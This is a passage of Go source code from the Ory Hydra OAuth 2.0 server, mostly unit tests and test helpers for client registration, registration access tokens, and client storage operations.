requested OAuth 2.0 client does not exist or you provided incorrect credentials.").WithDebug("Registration access tokens do not match.")) } return c, nil } func (h *Handler) requireDynamicAuth(r *http.Request) *herodot.DefaultError { if !h.r.Config().PublicAllowDynamicRegistration(r.Context()) { return herodot.ErrNotFound.WithReason("Dynamic registration is not enabled.") } return nil }
Go
hydra/client/handler_test.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client_test import ( "bytes" "context" "encoding/json" "fmt" "io" "net/http" "net/http/httptest" "testing" "github.com/ory/x/httprouterx" "github.com/tidwall/sjson" "github.com/gofrs/uuid" "github.com/tidwall/gjson" "github.com/ory/hydra/v2/internal/testhelpers" "github.com/ory/hydra/v2/driver/config" "github.com/ory/x/contextx" "github.com/julienschmidt/httprouter" "github.com/stretchr/testify/assert" "github.com/ory/x/snapshotx" "github.com/stretchr/testify/require" "github.com/ory/hydra/v2/client" "github.com/ory/hydra/v2/internal" ) type responseSnapshot struct { Body json.RawMessage `json:"body"` Status int `json:"status"` } func newResponseSnapshot(body string, res *http.Response) *responseSnapshot { return &responseSnapshot{ Body: json.RawMessage(body), Status: res.StatusCode, } } func getClientID(body string) string { return gjson.Get(body, "client_id").String() } func TestHandler(t *testing.T) { ctx := context.Background() reg := internal.NewMockedRegistry(t, &contextx.Default{}) h := client.NewHandler(reg) reg.WithContextualizer(&contextx.TestContextualizer{}) t.Run("create client registration tokens", func(t *testing.T) { for k, tc := range []struct { c *client.Client dynamic bool }{ {dynamic: true, c: new(client.Client)}, {c: new(client.Client)}, {c: &client.Client{Secret: "01bbf13a-ae3e-44d5-b4b4-dd78137041be"}}, } { t.Run(fmt.Sprintf("case=%d/dynamic=%v", k, tc.dynamic), func(t *testing.T) { var b bytes.Buffer require.NoError(t, json.NewEncoder(&b).Encode(tc.c)) r, err := http.NewRequest("POST", "/openid/registration", &b) require.NoError(t, err) hadSecret := len(tc.c.Secret) > 0 c, err := h.CreateClient(r, func(ctx context.Context, c *client.Client) error { return nil }, tc.dynamic) require.NoError(t, err) require.NotEqual(t, c.NID, uuid.Nil) except := []string{"client_id", "registration_access_token", "updated_at", "created_at", "registration_client_uri"} require.NotEmpty(t, c.RegistrationAccessToken) require.NotEqual(t, c.RegistrationAccessTokenSignature, c.RegistrationAccessToken) if !hadSecret { require.NotEmpty(t, c.Secret) except = append(except, "client_secret") } if tc.dynamic { require.NotEmpty(t, c.GetID()) assert.Equal(t, reg.Config().PublicURL(ctx).String()+"oauth2/register/"+c.GetID(), c.RegistrationClientURI) except = append(except, "client_id", "client_secret", "registration_client_uri") } snapshotx.SnapshotTExcept(t, c, except) }) } }) t.Run("dynamic client registration protocol authentication", func(t *testing.T) { r, err := http.NewRequest("POST", "/openid/registration", bytes.NewBufferString("{}")) require.NoError(t, err) expected, err := h.CreateClient(r, func(ctx context.Context, c *client.Client) error { return nil }, true) require.NoError(t, err) t.Run("valid auth", func(t *testing.T) { actual, err := h.ValidDynamicAuth(&http.Request{Header: http.Header{"Authorization": {"Bearer " + expected.RegistrationAccessToken}}}, httprouter.Params{ {Key: "id", Value: expected.GetID()}, }) require.NoError(t, err, "authentication with registration access token works") assert.EqualValues(t, expected.GetID(), actual.GetID()) }) t.Run("missing auth", func(t *testing.T) { _, err := h.ValidDynamicAuth(&http.Request{}, httprouter.Params{ {Key: "id", Value: expected.GetID()}, }) require.Error(t, err, "authentication without registration access token fails") }) t.Run("incorrect auth", func(t *testing.T) { _, err := h.ValidDynamicAuth(&http.Request{Header: http.Header{"Authorization": {"Bearer invalid"}}}, httprouter.Params{ {Key: "id", Value: expected.GetID()}, }) require.Error(t, err, "authentication with invalid registration access token fails") }) }) newServer := func(t *testing.T, dynamicEnabled bool) (*httptest.Server, *http.Client) { require.NoError(t, reg.Config().Set(ctx, config.KeyPublicAllowDynamicRegistration, dynamicEnabled)) router := httprouter.New() h.SetRoutes(httprouterx.NewRouterAdminWithPrefixAndRouter(router, "/admin", reg.Config().AdminURL), &httprouterx.RouterPublic{Router: router}) ts := httptest.NewServer(router) t.Cleanup(ts.Close) reg.Config().MustSet(ctx, config.KeyAdminURL, ts.URL) return ts, ts.Client() } fetch := func(t *testing.T, url string) (string, *http.Response) { res, err := http.Get(url) require.NoError(t, err) defer res.Body.Close() body, err := io.ReadAll(res.Body) require.NoError(t, err) return string(body), res } fetchWithBearerAuth := func(t *testing.T, method, url, token string, body io.Reader) (string, *http.Response) { r, err := http.NewRequest(method, url, body) require.NoError(t, err) r.Header.Set("Authorization", "Bearer "+token) res, err := http.DefaultClient.Do(r) require.NoError(t, err) defer res.Body.Close() out, err := io.ReadAll(res.Body) require.NoError(t, err) return string(out), res } makeJSON := func(t *testing.T, ts *httptest.Server, method string, path string, body interface{}) (string, *http.Response) { var b bytes.Buffer require.NoError(t, json.NewEncoder(&b).Encode(body)) r, err := http.NewRequest(method, ts.URL+path, &b) require.NoError(t, err) r.Header.Set("Content-Type", "application/json") res, err := ts.Client().Do(r) require.NoError(t, err) defer res.Body.Close() rb, err := io.ReadAll(res.Body) require.NoError(t, err) return string(rb), res } createClient := func(t *testing.T, c *client.Client, ts *httptest.Server, path string) string { body, res := makeJSON(t, ts, "POST", path, c) require.Equal(t, http.StatusCreated, res.StatusCode, body) return body } t.Run("selfservice disabled", func(t *testing.T) { ts, hc := newServer(t, false) trap := &client.Client{} actual := createClient(t, trap, ts, client.ClientsHandlerPath) actualID := getClientID(actual) for _, tc := range []struct { method string path string }{ {method: "GET", path: ts.URL + client.DynClientsHandlerPath + "/" + actualID}, {method: "POST", path: ts.URL + client.DynClientsHandlerPath}, {method: "PUT", path: ts.URL + client.DynClientsHandlerPath + "/" + actualID}, {method: "DELETE", path: ts.URL + client.DynClientsHandlerPath + "/" + actualID}, } { t.Run("method="+tc.method, func(t *testing.T) { req, err := http.NewRequest(tc.method, tc.path, nil) require.NoError(t, err) res, err := hc.Do(req) require.NoError(t, err) require.Equal(t, http.StatusNotFound, res.StatusCode) }) } }) t.Run("case=selfservice with incorrect or missing auth", func(t *testing.T) { ts, hc := newServer(t, true) expectedFirst := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) expectedFirstID := getClientID(expectedFirst) // Create the second client expectedSecond := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, }, ts, client.ClientsHandlerPath) expectedSecondID := getClientID(expectedSecond) t.Run("endpoint=selfservice", func(t *testing.T) { for _, method := range []string{"GET", "DELETE", "PUT"} { t.Run("method="+method, func(t *testing.T) { t.Run("without auth", func(t *testing.T) { req, err := http.NewRequest(method, ts.URL+client.DynClientsHandlerPath+"/"+expectedFirstID, nil) require.NoError(t, err) res, err := hc.Do(req) require.NoError(t, err) defer res.Body.Close() body, err := io.ReadAll(res.Body) require.NoError(t, err) snapshotx.SnapshotTExcept(t, newResponseSnapshot(string(body), res), nil) }) t.Run("without incorrect auth", func(t *testing.T) { body, res := fetchWithBearerAuth(t, method, ts.URL+client.DynClientsHandlerPath+"/"+expectedFirstID, "incorrect", nil) assert.Equal(t, http.StatusUnauthorized, res.StatusCode) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) t.Run("with a different client auth", func(t *testing.T) { body, res := fetchWithBearerAuth(t, method, ts.URL+client.DynClientsHandlerPath+"/"+expectedFirstID, expectedSecondID, nil) assert.Equal(t, http.StatusUnauthorized, res.StatusCode) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) }) } }) }) t.Run("common", func(t *testing.T) { ts, _ := newServer(t, true) expected := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) t.Run("case=create clients", func(t *testing.T) { for k, tc := range []struct { d string payload *client.Client path string statusCode int }{ { d: "basic dynamic client registration", payload: &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, }, path: client.DynClientsHandlerPath, statusCode: http.StatusCreated, }, { d: "basic admin registration", payload: &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, Metadata: []byte(`{"foo":"bar"}`), }, path: client.ClientsHandlerPath, statusCode: http.StatusCreated, }, { d: "metadata fails for dynamic client registration", payload: &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, Metadata: []byte(`{"foo":"bar"}`), }, path: client.DynClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "short secret fails for admin", payload: &client.Client{ Secret: "short", RedirectURIs: []string{"http://localhost:3000/cb"}, }, path: client.ClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "non-uuid fails", payload: &client.Client{ LegacyClientID: "not-a-uuid", Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, }, path: client.ClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "setting client id fails", payload: &client.Client{ LegacyClientID: "98941dac-f963-4468-8a23-9483b1e04e3c", Secret: "short", RedirectURIs: []string{"http://localhost:3000/cb"}, }, path: client.ClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "setting access token strategy fails", payload: &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, AccessTokenStrategy: "jwt", }, path: client.DynClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "setting skip_consent fails for dynamic registration", payload: &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, SkipConsent: true, }, path: client.DynClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "setting skip_consent suceeds for admin registration", payload: &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, SkipConsent: true, Secret: "2SKZkBf2P5g4toAXXnCrr~_sDM", }, path: client.ClientsHandlerPath, statusCode: http.StatusCreated, }, { d: "basic dynamic client registration", payload: &client.Client{ LegacyClientID: "ead800c5-a316-4d0c-bf00-d25666ba72cf", Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, }, path: client.DynClientsHandlerPath, statusCode: http.StatusBadRequest, }, { d: "empty ID succeeds", payload: &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, }, path: client.ClientsHandlerPath, statusCode: http.StatusCreated, }, } { t.Run(fmt.Sprintf("case=%d/description=%s", k, tc.d), func(t *testing.T) { body, res := makeJSON(t, ts, "POST", tc.path, tc.payload) require.Equal(t, tc.statusCode, res.StatusCode, body) exclude := []string{"updated_at", "created_at", "registration_access_token"} if tc.path == client.DynClientsHandlerPath { exclude = append(exclude, "client_id", "client_secret", "registration_client_uri") } if tc.payload.LegacyClientID == "" { exclude = append(exclude, "client_id", "registration_client_uri") assert.NotEqual(t, uuid.Nil.String(), gjson.Get(body, "client_id").String(), body) } if tc.statusCode == http.StatusOK { for _, key := range exclude { assert.NotEmpty(t, gjson.Get(body, key).String(), "%s in %s", key, body) } } snapshotx.SnapshotT(t, json.RawMessage(body), snapshotx.ExceptPaths(exclude...)) }) } }) t.Run("case=fetching non-existing client", func(t *testing.T) { for _, path := range []string{ client.DynClientsHandlerPath + "/foo", client.ClientsHandlerPath + "/foo", } { t.Run("path="+path, func(t *testing.T) { body, res := fetchWithBearerAuth(t, "GET", ts.URL+path, gjson.Get(expected, "registration_access_token").String(), nil) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) } }) t.Run("case=updating non-existing client", func(t *testing.T) { for _, path := range []string{ client.DynClientsHandlerPath + "/foo", client.ClientsHandlerPath + "/foo", } { t.Run("path="+path, func(t *testing.T) { body, res := fetchWithBearerAuth(t, "PUT", ts.URL+path, "invalid", bytes.NewBufferString("{}")) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) } }) t.Run("case=delete non-existing client", func(t *testing.T) { for _, path := range []string{ client.DynClientsHandlerPath + "/foo", client.ClientsHandlerPath + "/foo", } { t.Run("path="+path, func(t *testing.T) { body, res := fetchWithBearerAuth(t, "DELETE", ts.URL+path, "invalid", nil) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) } }) t.Run("case=patching non-existing client", func(t *testing.T) { body, res := fetchWithBearerAuth(t, "PATCH", ts.URL+client.ClientsHandlerPath+"/foo", "", nil) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) t.Run("case=fetching existing client", func(t *testing.T) { expected := createClient(t, &client.Client{ Secret: "rdetzfuzgihojuzgtfrdes", RedirectURIs: []string{"http://localhost:3000/cb"}, }, ts, client.ClientsHandlerPath) id := gjson.Get(expected, "client_id").String() rat := gjson.Get(expected, "registration_access_token").String() t.Run("endpoint=admin", func(t *testing.T) { body, res := fetch(t, ts.URL+client.ClientsHandlerPath+"/"+id) assert.Equal(t, http.StatusOK, res.StatusCode) assert.Equal(t, id, gjson.Get(body, "client_id").String()) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), []string{"body.client_id", "body.created_at", "body.updated_at"}) }) t.Run("endpoint=selfservice", func(t *testing.T) { body, res := fetchWithBearerAuth(t, "GET", ts.URL+client.DynClientsHandlerPath+"/"+id, rat, nil) assert.Equal(t, http.StatusOK, res.StatusCode) assert.Equal(t, id, gjson.Get(body, "client_id").String()) assert.False(t, gjson.Get(body, "metadata").Bool()) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), []string{"body.client_id", "body.created_at", "body.updated_at"}) }) }) t.Run("case=updating existing client fails with metadata on self service", func(t *testing.T) { expected := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) id := gjson.Get(expected, "client_id").String() // Possible to update the secret payload, err := sjson.SetRaw(expected, "metadata", `{"foo":"bar"}`) require.NoError(t, err) payload, err = sjson.Set(payload, "client_secret", "") require.NoError(t, err) body, res := fetchWithBearerAuth(t, "PUT", ts.URL+client.DynClientsHandlerPath+"/"+id, gjson.Get(expected, "registration_access_token").String(), bytes.NewBufferString(payload)) assert.Equal(t, http.StatusBadRequest, res.StatusCode, "%s\n%s", body, payload) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) t.Run("case=updating existing client", func(t *testing.T) { t.Run("endpoint=admin", func(t *testing.T) { expected := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) expectedID := getClientID(expected) payload, _ := sjson.Set(expected, "redirect_uris", []string{"http://localhost:3000/cb", "https://foobar.com"}) body, res := makeJSON(t, ts, "PUT", client.ClientsHandlerPath+"/"+expectedID, json.RawMessage(payload)) assert.Equal(t, http.StatusOK, res.StatusCode) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), []string{"body.created_at", "body.updated_at", "body.client_id", "body.registration_client_uri", "body.registration_access_token"}) }) t.Run("endpoint=dynamic client registration", func(t *testing.T) { expected := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) expectedID := getClientID(expected) // Possible to update the secret payload, _ := sjson.Set(expected, "redirect_uris", []string{"http://localhost:3000/cb", "https://foobar.com"}) payload, _ = sjson.Delete(payload, "client_secret") payload, _ = sjson.Delete(payload, "metadata") originalRAT := gjson.Get(expected, "registration_access_token").String() body, res := fetchWithBearerAuth(t, "PUT", ts.URL+client.DynClientsHandlerPath+"/"+expectedID, originalRAT, bytes.NewBufferString(payload)) assert.Equal(t, http.StatusOK, res.StatusCode, "%s\n%s", body, payload) newToken := gjson.Get(body, "registration_access_token").String() assert.NotEmpty(t, newToken) require.NotEqual(t, originalRAT, newToken, "the new token should be different from the old token") snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), []string{"body.created_at", "body.updated_at", "body.registration_access_token", "body.client_id", "body.registration_client_uri"}) _, res = fetchWithBearerAuth(t, "GET", ts.URL+client.DynClientsHandlerPath+"/"+expectedID, originalRAT, bytes.NewBufferString(payload)) assert.Equal(t, http.StatusUnauthorized, res.StatusCode) body, res = fetchWithBearerAuth(t, "GET", ts.URL+client.DynClientsHandlerPath+"/"+expectedID, newToken, bytes.NewBufferString(payload)) assert.Equal(t, http.StatusOK, res.StatusCode) assert.Empty(t, gjson.Get(body, "registration_access_token").String()) }) t.Run("endpoint=dynamic client registration does not allow changing the secret", func(t *testing.T) { expected := createClient(t, &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) expectedID := getClientID(expected) // Possible to update the secret payload, _ := sjson.Set(expected, "redirect_uris", []string{"http://localhost:3000/cb", "https://foobar.com"}) payload, _ = sjson.Set(payload, "secret", "") originalRAT := gjson.Get(expected, "registration_access_token").String() body, res := fetchWithBearerAuth(t, "PUT", ts.URL+client.DynClientsHandlerPath+"/"+expectedID, originalRAT, bytes.NewBufferString(payload)) assert.Equal(t, http.StatusForbidden, res.StatusCode) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) }) t.Run("case=creating a client dynamically does not allow setting the secret", func(t *testing.T) { body, res := makeJSON(t, ts, "POST", client.DynClientsHandlerPath, &client.Client{ TokenEndpointAuthMethod: "client_secret_basic", Secret: "foobarbaz", }) require.Equal(t, http.StatusBadRequest, res.StatusCode, body) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), nil) }) t.Run("case=update the lifespans of an OAuth2 client", func(t *testing.T) { expected := &client.Client{ Name: "update-existing-client-lifespans", Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", } body, res := makeJSON(t, ts, "POST", client.ClientsHandlerPath, expected) require.Equal(t, http.StatusCreated, res.StatusCode, body) body, res = makeJSON(t, ts, "PUT", client.ClientsHandlerPath+"/"+gjson.Get(body, "client_id").String()+"/lifespans", testhelpers.TestLifespans) require.Equal(t, http.StatusOK, res.StatusCode, body) snapshotx.SnapshotTExcept(t, newResponseSnapshot(body, res), []string{"body.client_id", "body.created_at", "body.updated_at"}) }) t.Run("case=delete existing client", func(t *testing.T) { t.Run("endpoint=admin", func(t *testing.T) { expected := createClient(t, &client.Client{ RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) expectedID := getClientID(expected) _, res := makeJSON(t, ts, "DELETE", client.ClientsHandlerPath+"/"+expectedID, nil) assert.Equal(t, http.StatusNoContent, res.StatusCode) }) t.Run("endpoint=selfservice", func(t *testing.T) { expected := createClient(t, &client.Client{ Secret: "averylongsecret", RedirectURIs: []string{"http://localhost:3000/cb"}, TokenEndpointAuthMethod: "client_secret_basic", }, ts, client.ClientsHandlerPath) expectedID := getClientID(expected) originalRAT := gjson.Get(expected, "registration_access_token").String() _, res := fetchWithBearerAuth(t, "DELETE", ts.URL+client.DynClientsHandlerPath+"/"+expectedID, originalRAT, nil) assert.Equal(t, http.StatusNoContent, res.StatusCode) }) }) }) }
Go
hydra/client/manager.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "context" "github.com/ory/fosite" ) // swagger:ignore type Filter struct { // The maximum amount of clients to returned, upper bound is 500 clients. // in: query Limit int `json:"limit"` // The offset from where to start looking. // in: query Offset int `json:"offset"` // The name of the clients to filter by. // in: query Name string `json:"client_name"` // The owner of the clients to filter by. // in: query Owner string `json:"owner"` } type Manager interface { Storage Authenticate(ctx context.Context, id string, secret []byte) (*Client, error) } type Storage interface { GetClient(ctx context.Context, id string) (fosite.Client, error) CreateClient(ctx context.Context, c *Client) error UpdateClient(ctx context.Context, c *Client) error DeleteClient(ctx context.Context, id string) error GetClients(ctx context.Context, filters Filter) ([]Client, error) CountClients(ctx context.Context) (int, error) GetConcreteClient(ctx context.Context, id string) (*Client, error) } type ManagerProvider interface { ClientManager() Manager }
Go
hydra/client/manager_test_helpers.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "context" "crypto/x509" "fmt" "testing" "time" "github.com/go-faker/faker/v4" "github.com/go-jose/go-jose/v3" "github.com/gobuffalo/pop/v6" "github.com/gofrs/uuid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/ory/fosite" testhelpersuuid "github.com/ory/hydra/v2/internal/testhelpers/uuid" "github.com/ory/hydra/v2/x" "github.com/ory/x/assertx" "github.com/ory/x/contextx" "github.com/ory/x/sqlcon" ) func TestHelperClientAutoGenerateKey(k string, m Storage) func(t *testing.T) { return func(t *testing.T) { ctx := context.TODO() c := &Client{ Secret: "secret", RedirectURIs: []string{"http://redirect"}, TermsOfServiceURI: "foo", } assert.NoError(t, m.CreateClient(ctx, c)) dbClient, err := m.GetClient(ctx, c.GetID()) assert.NoError(t, err) dbClientConcrete, ok := dbClient.(*Client) assert.True(t, ok) testhelpersuuid.AssertUUID(t, &dbClientConcrete.ID) assert.NoError(t, m.DeleteClient(ctx, c.GetID())) } } func TestHelperClientAuthenticate(k string, m Manager) func(t *testing.T) { return func(t *testing.T) { ctx := context.TODO() require.NoError(t, m.CreateClient(ctx, &Client{ LegacyClientID: "1234321", Secret: "secret", RedirectURIs: []string{"http://redirect"}, })) c, err := m.Authenticate(ctx, "1234321", []byte("secret1")) require.Error(t, err) require.Nil(t, c) c, err = m.Authenticate(ctx, "1234321", []byte("secret")) require.NoError(t, err) assert.Equal(t, "1234321", c.GetID()) } } func TestHelperUpdateTwoClients(_ string, m Manager) func(t *testing.T) { return func(t *testing.T) { c1, c2 := &Client{Name: "test client 1"}, &Client{Name: "test client 2"} require.NoError(t, m.CreateClient(context.Background(), c1)) require.NoError(t, m.CreateClient(context.Background(), c2)) c1.Name, c2.Name = "updated client 1", "updated client 2" assert.NoError(t, m.UpdateClient(context.Background(), c1)) assert.NoError(t, m.UpdateClient(context.Background(), c2)) } } func testHelperUpdateClient(t *testing.T, ctx context.Context, network Storage, k string) { d, err := network.GetClient(ctx, "1234") assert.NoError(t, err) err = network.UpdateClient(ctx, &Client{ LegacyClientID: "2-1234", Name: "name-new", Secret: "secret-new", RedirectURIs: []string{"http://redirect/new"}, TermsOfServiceURI: "bar", JSONWebKeys: new(x.JoseJSONWebKeySet), }) require.NoError(t, err) nc, err := network.GetConcreteClient(ctx, "2-1234") require.NoError(t, err) if k != "http" { // http always returns an empty secret assert.NotEqual(t, d.GetHashedSecret(), nc.GetHashedSecret()) } assert.Equal(t, "bar", nc.TermsOfServiceURI) assert.Equal(t, "name-new", nc.Name) assert.EqualValues(t, []string{"http://redirect/new"}, nc.GetRedirectURIs()) assert.Zero(t, len(nc.Contacts)) } func TestHelperCreateGetUpdateDeleteClientNext(t *testing.T, m Storage, networks []uuid.UUID) { ctx := context.Background() resources := map[uuid.UUID][]Client{} for k := range networks { nid := networks[k] resources[nid] = []Client{} ctx := contextx.SetNIDContext(ctx, nid) t.Run(fmt.Sprintf("nid=%s", nid), func(t *testing.T) { var client Client require.NoError(t, faker.FakeData(&client)) client.CreatedAt = time.Now().Truncate(time.Second).UTC() t.Run("lifecycle=does not exist", func(t *testing.T) { _, err := m.GetClient(ctx, "1234") require.Error(t, err) }) t.Run("lifecycle=exists", func(t *testing.T) { require.NoError(t, m.CreateClient(ctx, &client)) c, err := m.GetClient(ctx, client.GetID()) require.NoError(t, err) assertx.EqualAsJSONExcept(t, &client, c, []string{ "registration_access_token", "registration_client_uri", "updated_at", }) n, err := m.CountClients(ctx) assert.NoError(t, err) assert.Equal(t, 1, n) copy := client require.Error(t, m.CreateClient(ctx, &copy)) }) t.Run("lifecycle=update", func(t *testing.T) { client.Name = "updated" + nid.String() require.NoError(t, m.UpdateClient(ctx, &client)) c, err := m.GetClient(ctx, client.GetID()) require.NoError(t, err) assertx.EqualAsJSONExcept(t, &client, c, []string{ "registration_access_token", "registration_client_uri", "updated_at", }) resources[nid] = append(resources[nid], client) }) }) } for k := range resources { original := k clients := resources[k] for i := range networks { check := networks[i] t.Run("network="+original.String(), func(t *testing.T) { ctx := contextx.SetNIDContext(ctx, check) for _, expected := range clients { c, err := m.GetClient(ctx, expected.GetID()) if check != original { t.Run(fmt.Sprintf("case=must not find client %s", expected.ID), func(t *testing.T) { require.ErrorIs(t, err, sqlcon.ErrNoRows) }) } else { t.Run("case=updates must not override each other", func(t *testing.T) { require.NoError(t, err) assert.Equal(t, "updated"+original.String(), c.(*Client).Name) }) } } }) } } for k := range resources { clients := resources[k] ctx := contextx.SetNIDContext(ctx, k) t.Run("network="+k.String(), func(t *testing.T) { for _, client := range clients { t.Run("lifecycle=cleanup", func(t *testing.T) { assert.NoError(t, m.DeleteClient(ctx, client.GetID())) _, err := m.GetClient(ctx, client.GetID()) assert.ErrorIs(t, err, sqlcon.ErrNoRows) n, err := m.CountClients(ctx) assert.NoError(t, err) assert.Equal(t, 0, n) assert.Error(t, m.DeleteClient(ctx, client.GetID())) }) } }) } } func TestHelperCreateGetUpdateDeleteClient(k string, connection *pop.Connection, t1 Storage, t2 Storage) func(t *testing.T) { return func(t *testing.T) { ctx := context.Background() _, err := t1.GetClient(ctx, "1234") require.Error(t, err) t1c1 := &Client{ ID: uuid.FromStringOrNil("96bfe52e-af88-4cba-ab00-ae7a8b082228"), LegacyClientID: "1234", Name: "name", Secret: "secret", RedirectURIs: []string{"http://redirect", "http://redirect1"}, GrantTypes: []string{"implicit", "refresh_token"}, ResponseTypes: []string{"code token", "token id_token", "code"}, Scope: "scope-a scope-b", Owner: "aeneas", PolicyURI: "http://policy", TermsOfServiceURI: "http://tos", ClientURI: "http://client", LogoURI: "http://logo", Contacts: []string{"aeneas1", "aeneas2"}, SecretExpiresAt: 0, SectorIdentifierURI: "https://sector", JSONWebKeys: &x.JoseJSONWebKeySet{JSONWebKeySet: &jose.JSONWebKeySet{Keys: []jose.JSONWebKey{{KeyID: "foo", Key: []byte("asdf"), Certificates: []*x509.Certificate{}, CertificateThumbprintSHA1: []uint8{}, CertificateThumbprintSHA256: []uint8{}}}}}, JSONWebKeysURI: "https://...", TokenEndpointAuthMethod: "none", TokenEndpointAuthSigningAlgorithm: "RS256", RequestURIs: []string{"foo", "bar"}, AllowedCORSOrigins: []string{"foo", "bar"}, RequestObjectSigningAlgorithm: "rs256", UserinfoSignedResponseAlg: "RS256", CreatedAt: time.Now().Add(-time.Hour).Round(time.Second).UTC(), UpdatedAt: time.Now().Add(-time.Minute).Round(time.Second).UTC(), FrontChannelLogoutURI: "http://fc-logout", FrontChannelLogoutSessionRequired: true, PostLogoutRedirectURIs: []string{"hello", "mister"}, BackChannelLogoutURI: "http://bc-logout", BackChannelLogoutSessionRequired: true, } require.NoError(t, t1.CreateClient(ctx, t1c1)) { t2c1 := *t1c1 require.Error(t, connection.Create(&t2c1), "should not be able to create the same client in other manager/network; are they backed by the same database?") t2c1.ID = uuid.Nil require.NoError(t, t2.CreateClient(ctx, &t2c1), "we should be able to create a client with the same GetID() but different ID in other network") } t2c3 := *t1c1 { pk, _ := uuid.NewV4() t2c3.ID = pk t2c3.LegacyClientID = "t2c2-1234" require.NoError(t, t2.CreateClient(ctx, &t2c3)) require.Error(t, t2.CreateClient(ctx, &t2c3)) } assert.Equal(t, t1c1.GetID(), "1234") if k != "http" { assert.NotEmpty(t, t1c1.GetHashedSecret()) } c2Template := &Client{ ID: uuid.FromStringOrNil("a6bfe52e-af88-4cba-ab00-ae7a8b082228"), LegacyClientID: "2-1234", Name: "name2", Secret: "secret", RedirectURIs: []string{"http://redirect"}, TermsOfServiceURI: "foo", SecretExpiresAt: 1, } assert.NoError(t, t1.CreateClient(ctx, c2Template)) c2Template.ID = uuid.Nil assert.NoError(t, t2.CreateClient(ctx, c2Template)) d, err := t1.GetClient(ctx, "1234") require.NoError(t, err) cc := d.(*Client) testhelpersuuid.AssertUUID(t, &cc.NID) compare(t, t1c1, d, k) ds, err := t1.GetClients(ctx, Filter{Limit: 100, Offset: 0}) assert.NoError(t, err) assert.Len(t, ds, 2) assert.NotEqual(t, ds[0].GetID(), ds[1].GetID()) assert.NotEqual(t, ds[0].GetID(), ds[1].GetID()) // test if SecretExpiresAt was set properly assert.Equal(t, ds[0].SecretExpiresAt, 0) assert.Equal(t, ds[1].SecretExpiresAt, 1) ds, err = t1.GetClients(ctx, Filter{Limit: 1, Offset: 0}) assert.NoError(t, err) assert.Len(t, ds, 1) ds, err = t1.GetClients(ctx, Filter{Limit: 100, Offset: 100}) assert.NoError(t, err) assert.Empty(t, ds) // get by name ds, err = t1.GetClients(ctx, Filter{Limit: 100, Offset: 0, Name: "name"}) assert.NoError(t, err) assert.Len(t, ds, 1) assert.Equal(t, ds[0].Name, "name") // get by name not exist ds, err = t1.GetClients(ctx, Filter{Limit: 100, Offset: 0, Name: "bad name"}) assert.NoError(t, err) assert.Len(t, ds, 0) // get by owner ds, err = t1.GetClients(ctx, Filter{Limit: 100, Offset: 0, Owner: "aeneas"}) assert.NoError(t, err) assert.Len(t, ds, 1) assert.Equal(t, ds[0].Owner, "aeneas") testHelperUpdateClient(t, ctx, t1, k) testHelperUpdateClient(t, ctx, t2, k) err = t1.DeleteClient(ctx, "1234") assert.NoError(t, err) err = t1.DeleteClient(ctx, t2c3.GetID()) assert.Error(t, err) _, err = t1.GetClient(ctx, "1234") assert.NotNil(t, err) n, err := t1.CountClients(ctx) assert.NoError(t, err) assert.Equal(t, 1, n) } } func compare(t *testing.T, expected *Client, actual fosite.Client, k string) { assert.EqualValues(t, expected.GetID(), actual.GetID()) if k != "http" { 